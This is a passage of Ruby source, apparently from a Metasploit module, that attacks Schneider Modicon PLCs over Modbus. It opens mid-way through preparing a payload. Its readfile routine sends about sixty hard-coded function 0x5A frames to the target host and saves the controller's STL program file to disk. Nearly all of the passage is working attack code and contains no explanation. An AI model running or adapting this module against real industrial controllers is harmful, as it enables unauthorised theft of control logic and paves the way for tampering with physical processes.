payload = "\x00\x5a\x01\x32\x00\x01" + [fileblocks].pack("c") + "\x0a"
send_frame(make_frame(payload))
end
# Only reading the STL file is supported at the moment :(
def readfile
print_status "#{rhost}:#{rport} - MODBUS - Sending read request"
file = File.open(datastore['FILENAME'], 'wb')
print_status("#{rhost}:#{rport} - MODBUS - Retrieving file")
filedata = ""
response = send_frame(make_frame("\x01\x5a\x00\x28\xfb\xff\x01\x00\x01\x00"))
response = send_frame(make_frame("\x01\x5a\x00\x28\xd4\xfe\x01\x00\xec\x00"))
response = send_frame(make_frame("\x01\x5a\x00\x28\xc0\xff\x01\x00\x40\x00"))
response = send_frame(make_frame("\x01\x5a\x00\x28\x00\x02\x00\x00\xec\x00"))
response = send_frame(make_frame("\x01\x5a\x00\x28\xec\x02\x00\x00\x9b\x00"))
response = send_frame(make_frame("\x01\x5a\x00\x28\xd4\xfe\x01\x00\xec\x00"))
response = send_frame(make_frame("\x01\x5a\x00\x28\xc0\xff\x01\x00\x40\x00"))
response = send_frame(make_frame("\x01\x5a\x00\x28\x00\x80\x00\x07\xec\x00"))
filedata += response[0xe..-1]
response = send_frame(make_frame("\x01\x5a\x00\x28\xec\x80\x00\x07\xec\x00"))
filedata += response[0xe..-1]
response = send_frame(make_frame("\x01\x5a\x00\x28\xd8\x81\x00\x07\xec\x00"))
filedata += response[0xe..-1]
response = send_frame(make_frame("\x01\x5a\x00\x28\xc4\x82\x00\x07\xec\x00"))
filedata += response[0xe..-1]
response = send_frame(make_frame("\x01\x5a\x00\x28\xb0\x83\x00\x07\xec\x00"))
filedata += response[0xe..-1]
response = send_frame(make_frame("\x01\x5a\x00\x28\x9c\x84\x00\x07\xec\x00"))
filedata += response[0xe..-1]
response = send_frame(make_frame("\x01\x5a\x00\x28\x88\x85\x00\x07\xec\x00"))
filedata += response[0xe..-1]
response = send_frame(make_frame("\x01\x5a\x00\x28\x74\x86\x00\x07\xec\x00"))
filedata += response[0xe..-1]
response = send_frame(make_frame("\x01\x5a\x00\x28\x60\x87\x00\x07\xec\x00"))
filedata += response[0xe..-1]
response = send_frame(make_frame("\x01\x5a\x00\x28\x4c\x88\x00\x07\xec\x00"))
filedata += response[0xe..-1]
response = send_frame(make_frame("\x01\x5a\x00\x28\x38\x89\x00\x07\xec\x00"))
filedata += response[0xe..-1]
response = send_frame(make_frame("\x01\x5a\x00\x28\x24\x8a\x00\x07\xec\x00"))
filedata += response[0xe..-1]
response = send_frame(make_frame("\x01\x5a\x00\x28\x10\x8b\x00\x07\xec\x00"))
filedata += response[0xe..-1]
response = send_frame(make_frame("\x01\x5a\x00\x28\xfc\x8b\x00\x07\xec\x00"))
filedata += response[0xe..-1]
response = send_frame(make_frame("\x01\x5a\x00\x28\xe8\x8c\x00\x07\xec\x00"))
filedata += response[0xe..-1]
response = send_frame(make_frame("\x01\x5a\x00\x28\xd4\x8d\x00\x07\xec\x00"))
filedata += response[0xe..-1]
response = send_frame(make_frame("\x01\x5a\x00\x28\xc0\x8e\x00\x07\xec\x00"))
filedata += response[0xe..-1]
response = send_frame(make_frame("\x01\x5a\x00\x28\xac\x8f\x00\x07\xec\x00"))
filedata += response[0xe..-1]
response = send_frame(make_frame("\x01\x5a\x00\x28\x98\x90\x00\x07\xec\x00"))
filedata += response[0xe..-1]
response = send_frame(make_frame("\x01\x5a\x00\x28\x84\x91\x00\x07\xec\x00"))
filedata += response[0xe..-1]
response = send_frame(make_frame("\x01\x5a\x00\x28\x70\x92\x00\x07\x52\x00"))
filedata += response[0xe..-1]
response = send_frame(make_frame("\x01\x5a\x00\x28\xe0\xef\x00\x07\xec\x00"))
filedata += response[0xe..-1]
response = send_frame(make_frame("\x01\x5a\x00\x28\xcc\xf0\x00\x07\x4f\x00"))
filedata += response[0xe..-1]
response = send_frame(make_frame("\x01\x5a\x00\x28\xfc\xd9\x03\x07\xec\x00"))
filedata += response[0xe..-1]
response = send_frame(make_frame("\x01\x5a\x00\x28\xe8\xda\x03\x07\xec\x00"))
filedata += response[0xe..-1]
response = send_frame(make_frame("\x01\x5a\x00\x28\xd4\xdb\x03\x07\xec\x00"))
filedata += response[0xe..-1]
response = send_frame(make_frame("\x01\x5a\x00\x28\xc0\xdc\x03\x07\xec\x00"))
filedata += response[0xe..-1]
response = send_frame(make_frame("\x01\x5a\x00\x28\xac\xdd\x03\x07\xec\x00"))
filedata += response[0xe..-1]
response = send_frame(make_frame("\x01\x5a\x00\x28\x98\xde\x03\x07\xec\x00"))
filedata += response[0xe..-1]
response = send_frame(make_frame("\x01\x5a\x00\x28\x84\xdf\x03\x07\xec\x00"))
filedata += response[0xe..-1]
response = send_frame(make_frame("\x01\x5a\x00\x28\x70\xe0\x03\x07\xec\x00"))
filedata += response[0xe..-1]
response = send_frame(make_frame("\x01\x5a\x00\x28\x5c\xe1\x03\x07\xec\x00"))
filedata += response[0xe..-1]
response = send_frame(make_frame("\x01\x5a\x00\x28\x48\xe2\x03\x07\xec\x00"))
filedata += response[0xe..-1]
response = send_frame(make_frame("\x01\x5a\x00\x28\x34\xe3\x03\x07\xec\x00"))
filedata += response[0xe..-1]
response = send_frame(make_frame("\x01\x5a\x00\x28\x20\xe4\x03\x07\xec\x00"))
filedata += response[0xe..-1]
response = send_frame(make_frame("\x01\x5a\x00\x28\x0c\xe5\x03\x07\xec\x00"))
filedata += response[0xe..-1]
response = send_frame(make_frame("\x01\x5a\x00\x28\xf8\xe5\x03\x07\xec\x00"))
filedata += response[0xe..-1]
response = send_frame(make_frame("\x01\x5a\x00\x28\xe4\xe6\x03\x07\xec\x00"))
filedata += response[0xe..-1]
response = send_frame(make_frame("\x01\x5a\x00\x28\xd0\xe7\x03\x07\xec\x00"))
filedata += response[0xe..-1]
response = send_frame(make_frame("\x01\x5a\x00\x28\xbc\xe8\x03\x07\xec\x00"))
filedata += response[0xe..-1]
response = send_frame(make_frame("\x01\x5a\x00\x28\xa8\xe9\x03\x07\xec\x00"))
filedata += response[0xe..-1]
response = send_frame(make_frame("\x01\x5a\x00\x28\x94\xea\x03\x07\xec\x00"))
filedata += response[0xe..-1]
response = send_frame(make_frame("\x01\x5a\x00\x28\x80\xeb\x03\x07\xec\x00"))
filedata += response[0xe..-1]
response = send_frame(make_frame("\x01\x5a\x00\x28\x6c\xec\x03\x07\xec\x00"))
filedata += response[0xe..-1]
response = send_frame(make_frame("\x01\x5a\x00\x28\x58\xed\x03\x07\xec\x00"))
filedata += response[0xe..-1]
response = send_frame(make_frame("\x01\x5a\x00\x28\x44\xee\x03\x07\xec\x00"))
filedata += response[0xe..-1]
response = send_frame(make_frame("\x01\x5a\x00\x28\x30\xef\x03\x07\xec\x00"))
filedata += response[0xe..-1]
response = send_frame(make_frame("\x01\x5a\x00\x28\x1c\xf0\x03\x07\xec\x00"))
filedata += response[0xe..-1]
response = send_frame(make_frame("\x01\x5a\x00\x28\x08\xf1\x03\x07\xec\x00"))
filedata += response[0xe..-1]
response = send_frame(make_frame("\x01\x5a\x00\x28\xf4\xf1\x03\x07\xec\x00"))
filedata += response[0xe..-1]
response = send_frame(make_frame("\x01\x5a\x00\x28\xe0\xf2\x03\x07\xec\x00"))
filedata += response[0xe..-1]
response = send_frame(make_frame("\x01\x5a\x00\x28\xcc\xf3\x03\x07\xec\x00"))
filedata += response[0xe..-1]
response = send_frame(make_frame("\x01\x5a\x00\x28\xb8\xf4\x03\x07\xec\x00"))
filedata += response[0xe..-1]
response = send_frame(make_frame("\x01\x5a\x00\x28\xa4\xf5\x03\x07\xec\x00"))
filedata += response[0xe..-1]
response = send_frame(make_frame("\x01\x5a\x00\x28\x90\xf6\x03\x07\xec\x00"))
filedata += response[0xe..-1]
response = send_frame(make_frame("\x01\x5a\x00\x28\x7c\xf7\x03\x07\xec\x00"))
filedata += response[0xe..-1]
response = send_frame(make_frame("\x01\x5a\x00\x28\x68\xf8\x03\x07\xec\x00"))
filedata += response[0xe..-1]
response = send_frame(make_frame("\x01\x5a\x00\x28\x54\xf9\x03\x07\xec\x00"))
filedata += response[0xe..-1]
response = send_frame(make_frame("\x01\x5a\x00\x28\x40\xfa\x03\x07\xec\x00"))
filedata += response[0xe..-1]
response = send_frame(make_frame("\x01\x5a\x00\x28\x2c\xfb\x03\x07\xec\x00"))
filedata += response[0xe..-1]
response = send_frame(make_frame("\x01\x5a\x00\x28\x18\xfc\x03\x07\xec\x00"))
filedata += response[0xe..-1]
response = send_frame(make_frame("\x01\x5a\x00\x28\x04\xfd\x03\x07\xec\x00"))
filedata += response[0xe..-1]
response = send_frame(make_frame("\x01\x5a\x00\x28\xf0\xfd\x03\x07\xec\x00"))
filedata += response[0xe..-1]
response = send_frame(make_frame("\x01\x5a\x00\x28\xdc\xfe\x03\x07\x8f\x00"))
filedata += response[0xe..-1]
response = send_frame(make_frame("\x01\x5a\x00\x28\x6c\xff\x03\x07\x94\x00"))
filedata += response[0xe..-1]
print_status("#{rhost}:#{rport} - MODBUS - Closing file '#{datastore['FILENAME']}'")
file.print filedata
file.close
end
def cleanup
disconnect rescue nil
end
end